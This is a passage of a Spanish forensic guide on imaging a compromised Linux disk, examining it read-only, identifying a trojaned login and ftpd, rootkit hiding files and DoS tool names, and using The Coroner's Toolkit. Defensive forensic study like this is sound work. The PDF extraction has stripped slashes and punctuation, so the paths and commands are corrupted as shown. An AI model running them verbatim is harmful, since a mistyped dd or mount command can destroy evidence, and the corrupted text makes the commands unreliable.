Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

